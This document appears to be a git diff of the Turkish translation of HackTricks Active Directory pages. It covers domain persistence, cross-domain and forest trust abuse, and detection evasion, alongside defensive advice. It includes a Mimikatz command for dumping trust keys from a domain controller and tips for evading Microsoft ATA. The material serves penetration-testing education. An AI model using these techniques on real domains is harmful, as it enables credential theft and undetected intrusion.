**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Sürekliliği
|
||||
|
||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanır.
|
||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -463,7 +463,7 @@ acl-persistence-abuse/
|
||||
security-descriptors.md
|
||||
{{#endref}}
|
||||
|
||||
### Skeleton Key
|
||||
### İskelet Anahtar
|
||||
|
||||
**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun.
|
||||
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır.
|
||||
|
||||
{{#ref}}
|
||||
@ -506,13 +506,13 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al
|
||||
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarıyla doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir.
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
|
||||
|
||||
**Adımlar**:
|
||||
|
||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
|
||||
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
|
||||
3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder.
|
||||
3. İstemci, **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder.
|
||||
4. Inter-realm TGT, iki yönlü alan güveninin bir parçası olarak DC1 ve DC2 arasında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
@ -520,18 +520,18 @@ Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete eri
|
||||
|
||||
### Farklı Güvenler
|
||||
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz.
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**.
|
||||
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır.
|
||||
|
||||
**Farklı güvenen ilişkileri**
|
||||
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir.
|
||||
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle birlikte SID filtrelemesi ile artırılır.
|
||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına olanak tanır ve iki yönlü geçişliliği sağlar. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
|
||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
|
||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara hitap eden daha özel bir yapıdır.
|
||||
|
||||
#### **Güvenen ilişkilerdeki diğer farklılıklar**
|
||||
|
||||
@ -547,9 +547,9 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır
|
||||
|
||||
Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir:
|
||||
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle bir **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
|
||||
### Çocuktan Ana Orman Yetki Yükseltmesi
|
||||
```
|
||||
@ -564,8 +564,8 @@ WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ diğeri ise _Parent_ --> _Child_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu şekilde bulabilirsiniz:
|
||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ ve diğeri _Parent_ --> _Child_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme:
|
||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükseltin:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -584,29 +584,29 @@ sid-history-injection.md
|
||||
|
||||
Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
|
||||
**GPO'yu kök DC alanına bağlama**
|
||||
**GPO'yu kök DC alanına bağlayın**
|
||||
|
||||
Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
|
||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atabilirsiniz.
|
||||
|
||||
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
|
||||
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifresini hesaplamak mümkündür.
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür.
|
||||
|
||||
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
|
||||
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) konusundaki tartışmada bulunabilir.
|
||||
|
||||
**Şema değişikliği saldırısı**
|
||||
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir.
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
|
||||
|
||||
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir.
|
||||
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atabilirsiniz.
|
||||
|
||||
**DA'dan EA'ya ADCS ESC5 ile**
|
||||
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'nin tehlikeye atılması ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtarı Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmıştır.
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) konusundaki tartışmada ele alınmıştır.
|
||||
|
||||
### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
|
||||
```powershell
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
Bu senaryoda **alanınız dış bir alan tarafından güvenilir** kılınmıştır ve size **belirsiz izinler** vermektedir. **Alanınızdaki hangi ilkelerin dış alana hangi erişime sahip olduğunu** bulmanız ve ardından bunu istismar etmeye çalışmanız gerekecek:
|
||||
Bu senaryoda **alanınız dış bir alan tarafından güvenilir** kılınmıştır ve size **belirsiz izinler** vermektedir. **Alanınızdaki hangi ilkelerin dış alanda hangi erişimlere sahip olduğunu** bulmanız ve ardından bunu istismar etmeye çalışmanız gerekecek:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -645,10 +645,10 @@ Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bi
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir).
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilen bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir).
|
||||
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, **RDP oturumu** sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve oradan **kurbanın orijinal domainine erişebilir**.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Bazı Genel Savunmalar
|
||||
@ -680,8 +680,8 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
|
||||
### **Kimlik Bilgisi Koruma için Savunma Önlemleri**
|
||||
|
||||
- **Domain Admins Kısıtlamaları**: Domain Admins'in yalnızca Domain Controller'lara giriş yapmasına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
|
||||
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
|
||||
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
|
||||
|
||||
### **Aldatma Tekniklerini Uygulama**
|
||||
@ -693,14 +693,14 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
### **Aldatmayı Tanımlama**
|
||||
|
||||
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
|
||||
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
|
||||
|
||||
### **Algılama Sistemlerini Aşma**
|
||||
|
||||
- **Microsoft ATA Algılama Aşma**:
|
||||
- **Kullanıcı Sayımı**: ATA algılamasını önlemek için Domain Controller'larda oturum sayımından kaçınmak.
|
||||
- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek.
|
||||
- **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur.
|
||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Controller'dan değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Controller'dan yürütme, uyarıları tetikler.
|
||||
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -10,8 +10,8 @@ Dış sistemlerde komutları çalıştırmanın farklı yolları vardır, burada
|
||||
- [**AtExec / SchtasksExec**](atexec.md)
|
||||
- [**WinRM**](winrm.md)
|
||||
- [**DCOM Exec**](dcom-exec.md)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user